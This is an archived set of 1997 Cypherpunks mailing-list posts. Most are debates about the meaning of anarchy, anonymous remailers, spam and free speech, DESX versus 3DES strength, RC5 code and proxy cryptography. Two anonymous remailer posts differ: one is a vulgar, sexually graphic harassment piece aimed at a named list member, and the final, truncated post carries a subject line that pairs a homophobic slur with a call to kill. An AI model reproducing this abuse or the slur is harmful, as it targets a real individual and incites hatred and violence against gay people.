> arguments for or against anarchy are completely irrelevant and futile.

Gosh, I thought you weren't going to comment...

Of course, democratic arguments for or against dictatorship are 
completely irrelevant and futile, as well.  Just out of curiosity, 
what the heck is a "democratic argument", anyway?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 03:19:23 +0800
To: cypherpunks@toad.com
Subject: Re: Public Key Break Paper
Message-ID: <199705141841.LAA09403@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker wrote:
> 
> >I just took a brief look at it, (thanks for forwarding, Lucky),
> >and it's pure crap-ola.
> 
> As a meta-point any securirty person knows that employees and
> ex-employees are the most serious security risks. Its not exactly
> unknown for someone to go nuts and then come out with loony
> paranoid theories.

  Whenever I see the dying embers of the spam debate being blown
to life (along with similar non-issues), I wonder what the disinfo
artists are trying to distract me from.
  I don't have to wonder too hard, however, since I can always 
count on the usual suspects to step forward and pooh-paah whatever
they don't want anyone to look at too closely.

  Anything Phill casts aspersions on has to be worth checking out:
   http://jya.com/snlhit.htm

TrafficMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Roger J. Jones" <cyber@ibpinc.com>
Date: Thu, 15 May 1997 02:06:09 +0800
To: "'cypherpunks@toad.com>
Subject: FW: Anonymous Remailers
Message-ID: <01BC6065.17582FB0@pc1901.ibpinc.com>
MIME-Version: 1.0
Content-Type: text/plain



-----Original Message-----
From:	Tim May [SMTP:tcmay@got.net]
Sent:	Wednesday, May 14, 1997 11:52 AM
To:	Roger J. Jones; 'cypherpunks@toad.com'
Subject:	Re: Anonymous Remailers

At 5:17 AM -0800 5/14/97, Roger J. Jones wrote:
>Why is it that some who are very concerned about their personal privacy
>utilize anonymous remailers that:
>
>1) Log all of their mail messages?

With chained, multiply-encrypted messages, logs are ineffective unless all of the links in the chain collude to trace messages. While this is certainly possible, it seems unlikely.

>2) Are in many cases reputed to be run by foreign intelligence services?

This allegation was made by some clueless Washington think tank authors.  They provided no evidence, only innuendo, and they were unwilling or unable to provide any further comments when queried by several Cypherpunks.
I suggest that just because you chose to characterize the sources as "clueless Washington think tank authors" does not (as they say in Star Trek - The Next Generation) "make it so".  The "allegation" that foreign governments actively participate in actions to violate personal privacy ("borrowing" laptops from traveling businesspeople, taping phones, etc.) are all documented in various places.  Of course, they could all the result of a single psyop with excellent results.  But I doubt it.
And given that many or even most of the remailer operators are members of the various related Cypherpunks or Remailers Operators lists, and are known to various of us, the notion that most (or even many) remailers are run by intelligence agencies is absurd.

>Do they really trust the owner of the remailer? (Unless of course, it is
>their remailer?)  I seem to be missing something.

I don't recognize your name on this list. Fine, as we always like to see new subscribers. But I surmise you just haven't spent enough time yet reading and thinking about these issues.
You may surmise what you choose.  In fact, that is the essence of free discourse.  Of course, knowing is far better than surmising.  If you care to suggest a reading list please feel free to mail it to me direct.  And yes, I am new to this most charming and entertaining list.  Thank you for the welcome
Welcome to the Cypherpunks list.
* Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money, tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, Higher Power: 2^1398269     | black markets, collapse of governments.  "National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Juriaan Massenza <juriaan_massenza@ctp.com> (by way of Alec <camcc@abraxis.com>)
Date: Thu, 15 May 1997 01:49:04 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Question: RC5 assembly code?
Message-ID: <3.0.1.32.19970514131409.007b5be0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


I have the source code for RC5 encryption algorithm, but it is in C, 
well it is still cool since it is "portable" but I am actually looking 
for a PowerPC assembly code for the same, or at least for the Key 
Expansion, Encryption and Decryption routines.

I am not a PowerPC coder at all, I barely know 8086 assembly. Somebody 
have it already written?

The "formula" for RC5 is pretty interesting and looks like is made to 
be implemented in Assembler.

Cia0,

Juriaan








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 15 May 1997 01:48:27 +0800
To: cypherpunks@toad.com
Subject: Re: Public Key Break Paper
Message-ID: <1.5.4.32.19970514171836.009362f0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Phillip Hallam-Baker wrote:

>As a meta-point any securirty person knows that employees and
>ex-employees are the most serious security risks. Its not exactly
>unknown for someone to go nuts and then come out with loony 
>paranoid theories.
>
>This may not be the case in this instance but its a good idea not
>to start seeing black helicopters around every corner...

"All cryptologists are rightly paranoid, they break the rules of the
game and lie to hide how it's done." -- Anonymous.

For what it's worth, it was Sandia who disclosed Payne's
public key break paper, not him. He's suing SNL for privacy 
violations.

His suit of DoE and NSA is about being fired for refusing to 
carry out illegal work which craven colleagues jumped to do.

William Payne could be the Bellwether of spilling the dark
national lab secrets unless, ahem, he gets his million
dollar settlement. I say good luck to him and the others
fighting the secret-hoaders.

Payne's dispute with Sandia and NSA shows once again how the
gatekeepers of top secrets manipulate those who work on
classified projects:

Lure the best and brightest with flattering invitations to
join prestigous secret work. 

Require high-penalty NDAs for participation.

Invite to work on repugnant projects, and if refused, fire
for insubordination or other pretext ("displeasing the
customer" or "to protect national security").

Then, destroy careers by precluding ever again working on
classified projects.

Finally, stigmatize the victim and publicize to frighten
other workers into subservience.

This entrapment into fearful servitude happens repeatedly in
high affairs of state: Oppenheimer, Snepp, McGee, Halperin,
and so on. There are dozens of current pending cases at DoE,
CIA, NSA and the like in the US, and many more in other
countries.

To be sure, wisely obedient government workers will never
have to cry "help me, my former colleagues are attacking, I
did nothing wrong."

Still, it seems that there must be ritual sacrifices of the
innocent, as Shirley Jackson wrote in "The Lottery," to
expatiate collective guilt, any innocent will do -- "for all
are equally guilty," so the gods and secret-keepers hyper-
guiltily smirk.

Who's next to exaptiate the guilt of the mega death national
and university labs? Surely not Hallam-Baker or Crisp?

Or, as Tim suggests, how about sacrificing the secret labs 
(and black-chip fabs)? There's a bill before Congress to
redo the NLs, but why dawdle when there's a surefire 
crypto-lottery.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 15 May 1997 01:42:38 +0800
To: cypherpunks@toad.com
Subject: Re: Quadratic Residue: Vulis
Message-ID: <199705141720.NAA25212@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Demento Vulis's mother attempted to pro-choice the unwanted 
little bastard by fishing with a coat hanger in her giant 
cunt, but failed miserably to pull the rabbit and 
succeeded only in scraping out the contents of little 
Demento's fetal cranium (not much to begin with).
 
       (_) _____ (_)
          /O   O\   The Proctologist  Demento Vulis
         !   I   !
         ! \___/ !
          \_____/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 15 May 1997 04:42:54 +0800
To: Tom Allard <cypherpunks@toad.com
Subject: Pedantry, Toastmasters, Anarchy, and Crispin
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <v03007803af9fd98e4563@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:07 AM -0800 5/14/97, Tom Allard wrote:

>How pedantic.  Webster's New World Dictionary (also reputable, I might add),
>has THIS to say about "Anarchy":
>
>  anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
>  2. political disorder and violence 3. disorder; confusion
>
>Note the etymology.  Taken to its roots, the word simply means "no leader".

Tom is exactly right. Citing dictionary definitions without proper
context--and the context of "anarchy" and "anarcho-capitalism" on this of
_all_ lists is quite important--is just plain pedantry. Dictionaries are
not encyclopedias, and rarely provide nuanced definitions. In this case,
the meaning of "anarchy" is of course overloaded with various connotations.

(I'm reminded, too, of hackneyed Toastmasters-type speeches which seem to
always begin with an obligatory Webster's quote. "Websters defines virtue
as ....")

The meaning of anarchy, and how it differs from chaos and random killings,
has been discussed many times. David Friedman's "The Machinery of Freedom"
is a good book to start with. Bruce Benson's "The Enterprise of Law" also
discusses how lawlessness is not at all a necessary part of "no rulers"
(Hint: international trade generally involves "no ruler," given that
neither the United Nations nor the World Court have much power over such
things, and yet international trade has worked for several centuries, and
arguably for millenia, with good success.)

>It also says:
>
>  anarchism n. [see anarchy] 1. the theory that all organized government is
>  repressive and undesirable 2. resistance to all government
>
>Note the COMPLETE lack of "chaos" or "disorder" in this definition.  Being
>an anarchist, therefore, does NOT imply that one supports chaos and
>disorder.

And it's important to note that _many_, even _most_, aspects of Western
society are essentially anarchic. The books we read, the restaurants we
patronize, the clothes we wear...while the range of choices is constrained
by what the market offers, and by social norms, etc., there are no "rulers"
(or "tops," or "arches," hence, 'an archy," as Tom notes the etymology
above).

To see why this is important, let us imagine somelike Diane Feinstein
calling for laws about what books may be read, "to put an end to the chaos,
lawlessness, and disorder in the bookreading community." (Actually, this is
exactly the sort of law Feinstein, Goodlatte, and all the rest are almost
constantly proposing...the only thing that stops some of these proposals
from progressing is the black letter law of "Congress shall make no
law...," and even then these bozos try to find workarounds and exceptions.
This is one reason I have absolutely no faith that legislation can secure
basic rights.)

As for Kent Crispin's remark that he chooses not to use the "esoteric"
definition of anarchy that the anarchist community, and economists
(actually), and others use, and prefers his "Toastmaster's Club" hoary
recitation of a simple dictionary definition, well, this is why I'm
becoming convinced that "Kent Crispin" is just a new identity David
Sternlight has adopted.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 15 May 1997 05:00:32 +0800
To: "Roger J. Jones" <cypherpunks@toad.com>
Subject: Re: FW: Anonymous Remailers
In-Reply-To: <01BC6065.17582FB0@pc1901.ibpinc.com>
Message-ID: <v03007804af9fdea37725@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



First off, Roger, you need to find better _quoting_ software for your
replies, or explicity add "begin quote" and "end quote" markers, as some
folks are forced to do. And/or set your word wrap to a standard 70-78
columns. I found it hard to tell my own comments from your added comments,
and this only because I was able to recognize my own words! No doubt others
simply gave up and pressed the "D" key on your reply.


At 9:48 AM -0800 5/14/97, Roger J. Jones wrote:
I suggest that just because you chose to characterize the sources as
"clueless Washington think tank authors" does not (as they say in Star Trek
- The Next Generation) "make it so".  The "allegation" that foreign
governments actively participate in actions to violate personal privacy
("borrowing" laptops from traveling businesspeople, taping phones, etc.)
are all documented in various places.  Of course, they could all the result
of a single psyop with excellent results.  But I doubt it.

You may surmise what you choose.  In fact, that is the essence of free
discourse.  Of course, knowing is far better than surmising.  If you care
to suggest a reading list please feel free to mail it to me direct.  And
yes, I am new to this most charming and entertaining list.  Thank you for
the welcome


(end of the quotes from Roger)

Your first point, using some kind of Star Trek lingo, is beyond comment. I
provided a lot more context than your original point provided, and yet you
seem to want even more documentation. Go back and read the archives for a
discussion of this paper (hint: search on "remailers" ANDed with "SAIC."
Pay particular attention to the critique of this paper by such folks as
Raph Levien, and others.

As for sending a reading list to you "direct," first send me a check for
$125.00 and I'll start working on it for you.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 15 May 1997 05:50:01 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <19970514142758.42227@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 14, 1997 at 03:07:43PM -0400, Tom Allard wrote:
> kent@songbird.com said:
> 
> > > The correlation between your definition of anarchy and war is obvious,
> > > if you define anarchy as "A lack of government leading to lawlessness"
> > > you are obviously going to see a correlation between this and
> > > lawlessness!
> >
> > That's not *my* definition, it's *the* definition, as described in a
> > standard, reputable dictionary.  I realize that you have your own private
> > definition of the term, that you share with your friends and an esoteric
> > community.  However, I am not a member of that community, so I use the
> > standard meaning.
> 
> How pedantic.  Webster's New World Dictionary (also reputable, I might add),
> has THIS to say about "Anarchy":
> 
>   anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
>   2. political disorder and violence 3. disorder; confusion
> 
> Note the etymology.  Taken to its roots, the word simply means "no leader".

Note the second definition.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Thu, 15 May 1997 06:03:26 +0800
To: cypherpunks@cyberpass.net
Subject: Rwanda and "anarchy"
Message-ID: <337A3314.1B990EE4@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> On Tue, May 13, 1997 at 08:21:13PM -0800, Tim May wrote:
> > At 6:34 PM -0800 5/13/97, Kent Crispin wrote:
> > 
> > >First of all, it neglects to consider that governments may have
> > >prevented more murders than they caused. This is unknowable, since
> > >we don't have any worthwhile control cases. (I suppose we
> > >might examine a state of anarchic chaos (eg Rawanda) and compare the
> > >percentage of murders...but such cases are symptoms of other human
> > >ills, and cannot be used as a meaningful comparison, I believe.)
> > 
> > Rwanda (or Ruwanda, or...) is a _very_ poor example to pick, as this was
> > not any kind of anarchy such as any of us have ever advocated. Rather,
> > Rwanda was a near-textbook example of one tribal faction (Hutus or
> > Tutsis) coming to power and inititiating a pogrom against the rival
> > faction (Tutsis or Hutus).
> > 
> > Calling this an "anarchy" is comparable to calling the pogrom by the
> > Third Reich against Jews, gypsies, cripples, and others an example of
> > anarchy.
> 
> Nonsense.
> 
> "anarchy n. the absence of government or control, resulting in 
> lawlessness. 2. disorder, confusion" -- Oxford American Dictionary
> 
> Which part of that would you say didn't apply to Rwanda? 

I would say "none." Tim is essentially correct. Ironically, we know he's
correct thanks to the United Nations and Judge Goldstein's International
Criminal Tribunal, which Tim would oppose. (The answer to bad government
is more government?)

Jean-Marie Higiro was Rwanda's Minister of Telecommunications. He saw
the radio turn into a tool of totalitarian propaganda. The killings were
encouraged and organized by the government. He was there.

Lindsey Hilsum was the only English-speaking reporter in Rwanda when the
killings started. She described the situation as "anarchy" because she
did not understand the language or the political situation. She later
retracted that story, and spent several more months in Rwanda and
Burundi
documenting what really happened. She eventually testified before the
ICT
on what she saw. I think she's a really cool person.

Raymond Bonner joined Lindsey in Rwanda later. You might recognize his
name -- he's the guy who was fired by the New York Times because the
Reagan Administration didn't like his reporting on human rights
violations
in El Salvador.

Gilles Peress is a French photojournalist who documented the genocide in
Rwanda both for himself and for the ICT.

I met these folks and browsed the relevant documentation, recordings,
and
photos on April 11th. I believe them when they say it was planned.

Blaming it on "evil government," though, is ludicrous. There was quite a
lot more going on.

If you want to look at anarchic chaos, try, maybe, Albania, or Los
Angeles
after the Rodney King verdict. But even in those cases, the violence had
specific targets for specific reasons. It wasn't unstructured anarchy,
and it didn't last long. For all the press, there were few deaths in
either case.

> In fact, the correlation between anarchy and war is very strong, for
> obvious reasons. Perhaps that is why most intelligent people don't
> consider anarchy a desirable state of affairs.

There is no such thing as anarchy, and there never will be.

-rich
 http://www.stanford.edu/~llurch/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Thu, 15 May 1997 03:14:19 +0800
To: "Ross Wright" <rwright@adnetsol.com>
Subject: Re: Spam IS Free Speech
In-Reply-To: <199705140604.XAA01787@adnetsol.adnetsol.com>
Message-ID: <3.0.1.32.19970514145756.009ae140@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


Ross Wright wrote:

>You can not retaliate against free speech, Rick.  That's a bad
>thing, plain and simple, black and white.

I have a qoute in my sig database attributed to Woody Allen that says "I
think you should defend to the death their right to march, and then go down
and meet them with baseball bats.", when talking about the KKK.  As much as
I can't stand the man, I actually agree with him on this.  I've got only a
minor problem with Sanford sending spam (it being unsolicited and all), I'm
just saying that I should not be denied the right to spam him right back.

>Some of your metaphors are kinda harsh, and a bit cartoonish.

The US Gov't is harsh and cartoonish (look at GAK), what's your point?

>It depends on what street you are walking, here.  Kevelar *may*
>be in order.

That's true.  I misspoke myself.  Obviously, I'm not going to run through
the streets of CUba screaming "I'm a wealthy high-ranking American", but at
the same time, I'm not going to be walking through Cuba anytime soon,
either.  Do you see my point?  It's all in whether or not it's *solicited*.
 Simply having an email address, to me, is *not* an invitation for everyone
in the world to send me mail to it.

>What's your problem with your 'delete' key?

Nothing.  Like I said: I've got filters.  I'm just saying that I shouldn't
have to use them (in a perfect world), as all "spam" I get should be
solicited.

>Now, here's where you start to go really crazy.  Spam as a weapon?  

Actually, I was just going with the kevlar thing.  Spam, in my view, isn't
necessarily a weapon, but to me it's just as unwanted and unsolicited as a
stray bullet.  If I feel like asking for someone to shoot me, I'll suit up
first, but until then I don't really appreciate the pot shots.

>By now, everyone knows that any of those things are as good as 
>giving away your e-mail address [...] it's an open invitation for
>me to send you advertisements, just like the yellow pages.

Nope, you're getting confused here.  Giving my email address is akin to the
*white* pages, while asking for spam is the *yellow* pages.  If I were to
put my phone number in the white pages of the local phone book (which I
don't), it would be so that someone who has a *need* to contact me could.
If I wanted people calling me for no reason, I'd put an ad in the yellow
pages.  See what I'm saying?

>You have the right to make some snotty reply, but no right
>to intentionally harm.

Aha!  There's the rub!  If I'm paying for my connect time, then spam *is*
harmful.

>Rick, what if someone decided they did not like an opinion 
>you expressed on this list and did the same thing to you?

Did what?  Set up a robot to flame me?  I'd hope they at least had the guts
to not do it anonymously, but I can't fault them for not liking me.

>You, nor anyone else, has a right to lash out at 
>someone for something they say or some ad they send you.

So why then do I not have the right to lash out at them in return?

>No one has a right to retaliate, get it?  First Amendment?  I didn't 
>read in there the right to get back at some poor advertisers, did 
>you?

So you're saying that if I came along and dropped a few billion pamphlets
for a campaign of mine on your house.  In addition to having to pay to get
them cleaned up, you also had to pay for the structural damage my leaflets
caused.  However, since I didn't *intentionally* cause the problems, I am
in the clear?  Give me a break.

>Free Speech : Good      Mail Bombs : Bad

Spam = Mail Bomb = Arp attack.  No essential difference.  Why isn't a mail
bomb or arp attack proctected by your idealized free speech?

>Are you a self centred ass, who's personal feelings are more important
>that the Constitution?

Yes, I am a self-centered ass.  No, my feelings are not more important than
the Constitution, my feelings help *make* the Constitution, remember?  It's
moot, anyway, as I'm not advocating removing free speech.

>You could be doing so much more with your time.

True.  And I could be doing *more* with my time if I didn't have to spend
it setting up spam filters!

>No war, no battles, no skirmishes, no need for "Anti-Spam Laws".

I agree.  I'm not asking for any laws, just the right to annoy spammers
just as much as they annoy me.  Why can't I do that?  If I decide to spam
them, not our of retribution, but as an exercise of my right to free
speech, then how is it any different?

>Just be nice, and everything will work out for the best.

You're more optimistic than I.  It must be nice to not be cynical.


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"They're probably foriegners with ways different than our own. They may
do some more..... folk dancing."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 15 May 1997 04:05:46 +0800
To: The Spectre <spectre@nac.net>
Subject: Re: Anonymity and cowardice
In-Reply-To: <15302945318065@nac.net>
Message-ID: <Pine.LNX.3.95.970514144504.771B-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 14 May 1997, The Spectre wrote:

> The difference in all these cases (save mine) is that the people you listed
> would have been persecuted, if not prosecuted, for their actions.  Now
> people are hiding out of fear and paranoia of something that in most cases
> doesn't exist.  The people you mentioned never had to deal with this level
> of abuse, either.

Not everybody in the world has the luxury of not worrying about being
persecuted for what they write.  In other countries, free speech is
not a recognized right.  Also, many people express unpopular opinions
that might not cause persecution, but might mean losing a job or
worse.  It is also useful for "liberating" certain information.  In
another message, you said that ftp sites could be used for this same
purpose.  Most ftp sites keep logs, and any corporation or government
agency that has had secret information divulged is going to get the
logs from the server.

As for your comment about "fear and paranoia of something that in most
cases doesn't exist", how do you know it doesn't?  Only a few decades
ago, the U.S. government was conducting illegal, domestic surveillance
on communists, war protestors, civil rights activists, and other groups
the government didn't like.  What's preventing something like this
happening today?  Mailing list messages and news posts don't disappear.
Something you write today could be used against you years later.



Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM3oL9CzIPc7jvyFpAQG1awgAsrUxvyHkhV8o9ZWbJ89YZBybgn050DWA
86JW3pXoohpXXRSPJCI87M/mVgZbbtF2H7yzGb624roPyEpVVc1n0X12ftD8tV3R
BEjpoxaRm8L+oBVpVfyEVH0tUYNqRYdSDruW9+9K6lJua76r88ACGKwalY9MQJXW
KWQ9Li/HeEgtUMCRcTFH8bRxP/US3/7JXdwj0dprq17xZcpKA4550AAIgREUsrkA
WrNhtwzC4V+/w8V6B5dQU85I70LlplAbEkIRPNdEBu5iqUO5WX2eJVzyUM9qixm9
Py24UOM5YtYou1QVlsBHtHPcAN3BWdrzBCo/VNezaVTmTl2BBNz9aw==
=90in
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Thu, 15 May 1997 03:46:43 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <199705141907.PAA19087@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain



kent@songbird.com said:

> > The correlation between your definition of anarchy and war is obvious,
> > if you define anarchy as "A lack of government leading to lawlessness"
> > you are obviously going to see a correlation between this and
> > lawlessness!
>
> That's not *my* definition, it's *the* definition, as described in a
> standard, reputable dictionary.  I realize that you have your own private
> definition of the term, that you share with your friends and an esoteric
> community.  However, I am not a member of that community, so I use the
> standard meaning.

How pedantic.  Webster's New World Dictionary (also reputable, I might add),
has THIS to say about "Anarchy":

  anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
  2. political disorder and violence 3. disorder; confusion

Note the etymology.  Taken to its roots, the word simply means "no leader".

It also says:

  anarchism n. [see anarchy] 1. the theory that all organized government is
  repressive and undesirable 2. resistance to all government

Note the COMPLETE lack of "chaos" or "disorder" in this definition.  Being 
an anarchist, therefore, does NOT imply that one supports chaos and 
disorder.

rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataET Research <staff@dataet.com>
Date: Thu, 15 May 1997 06:42:15 +0800
To: cypherpunks@toad.com
Subject: Information request
Message-ID: <337A39D9.303F@dataet.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

If you are interested in having a high-quality, but extensively
inexpensive, Web site designed for you, your résumé, or your company,
visit http://www.dataet.com or contact info@dataet.com immediately, and
request for additional information and/or a free cost and time
estimation.

Thanks for your time. We hope to hear from you soon.

Regards,

DataET Research
Data Engineering Technologies

info@dataet.com
http://www.dataet.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Thu, 15 May 1997 03:33:37 +0800
To: cypherpunks mailing list <cypherpunks@algebra.com>
Subject: Re: Proxy Cryptography draft available
In-Reply-To: <3.0.1.32.19970514002854.0067f568@popd.ix.netcom.com>
Message-ID: <3.0.1.32.19970514152201.009b05f0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


I had thought about this (proxy crypto) a few weeks ago as an attack.  I
didn't give it much thought, as I'm weak on the math side, and it seemed to
me that it couldn't have been an original idea.

What really worries me is that this proxy function links alot of stuff
together: it links algorithms, it links keys, etc.  If I develop a
supposedly strong system that has a proxy function for another strong
system, then essentially if mine gets broken the other does as well.  Or,
if I recover the key for one system, I can recover the original key from
another system.  The whole situation epitomises the old "A chain is only as
strong as its weakest link" adage.  From a security point of view, this
really doesn't encourage me to include the capability for proxy functions
in any system I should happen to make.  Am I missing something here?
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"Everybody just butt out!  I'm not in love with her!  I'm Die Fledermaus!
 The only person that I'm in love with is me and I'm out of here!" -Die
Fledermaus trying to explain his actions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Thu, 15 May 1997 06:49:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The War is Underway (fwd)
In-Reply-To: <3.0.32.19970513223226.0074e2bc@netcom13.netcom.com>
Message-ID: <5ldel6$1gv@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


In article <3.0.32.19970513223226.0074e2bc@netcom13.netcom.com>,
Lucky Green  <shamrock@netcom.com> wrote:
> Contrast this with DESX, which has been
> proven to be twice as hard as DES, therefore having an effective keylength
> of 112 bits.

Actually, that's not true.  Check out the Rogaway/Kilian paper.

It says that, if you've got 2^p known plaintexts, DESX has an effective
keylength of at least 118-p bits.  So, for instance, if you've got 2^32
known plaintexts, DESX only has an effective keylength of 86 bits.

In short, 3DES is (roughly speaking) stronger than DESX.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 15 May 1997 06:59:01 +0800
To: cypherpunks@toad.com
Subject: Re: Pedantry, Toastmasters, Anarchy, and Crispin
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <19970514153622.03633@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 14, 1997 at 01:22:40PM -0800, Tim May wrote:
> At 11:07 AM -0800 5/14/97, Tom Allard wrote:
> 
> >How pedantic.  Webster's New World Dictionary (also reputable, I might add),
> >has THIS to say about "Anarchy":
> >
> >  anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
> >  2. political disorder and violence 3. disorder; confusion
> >
> >Note the etymology.  Taken to its roots, the word simply means "no leader".
> 
> Tom is exactly right. Citing dictionary definitions without proper
> context--and the context of "anarchy" and "anarcho-capitalism" on this of
> _all_ lists is quite important--is just plain pedantry. 

And in the context of Rwanda the meaning is clear, as well.  I didn't 
start this pointless pedantic thread about the meaning of the word 
"anarchy", Tim -- you did.  I used the word in a perfectly 
meaningful, standard way in a context in which that meaning was 
completely appropriate.  Period.

[...]

> The meaning of anarchy, and how it differs from chaos and random killings,
> has been discussed many times. David Friedman's "The Machinery of Freedom"
> is a good book to start with.
> Bruce Benson's "The Enterprise of Law" also
> discusses how lawlessness is not at all a necessary part of "no rulers"
> (Hint: international trade generally involves "no ruler," given that
> neither the United Nations nor the World Court have much power over such
> things, and yet international trade has worked for several centuries, and
> arguably for millenia, with good success.)

I read the chapters of MoF from Friedman's web site.  I'm sure the 
rest of the book would be interesting, but it is really something for 
the faithful.  I'll keep an eye out for Benson's book, but I suspect 
it too will be something for the faithful.

Saying that anarchy is a pervasive part of real life is disingenuous, 
at best -- government is a pervasive part of real life as well.  You 
choose the books you read, the restaurants, etc, but these things all 
exist in a pervasive net of contracts enforced, ultimately, by the 
government. 

You rail about the actions of Feinstein, Goodlatte, etc, attacking your 
freedoms, but conveniently forget the web laws that protect your 
benefactor.  As they say, integrity is everything -- once you can 
fake that you've got it made.

> As for Kent Crispin's remark that he chooses not to use the "esoteric"
> definition of anarchy that the anarchist community, and economists
> (actually), and others use, and prefers his "Toastmaster's Club" hoary
> recitation of a simple dictionary definition, well, this is why I'm
> becoming convinced that "Kent Crispin" is just a new identity David
> Sternlight has adopted.

How remarkably clever of you.  A fine example of the insight for 
which you are so renown.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 15 May 1997 04:03:36 +0800
To: cypherpunks@toad.com
Subject: Kill a Fag, Go to Congress / Was--Re: Disinformation in L.A.
Message-ID: <199705141940.PAA05817@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tom Allard wrote: 
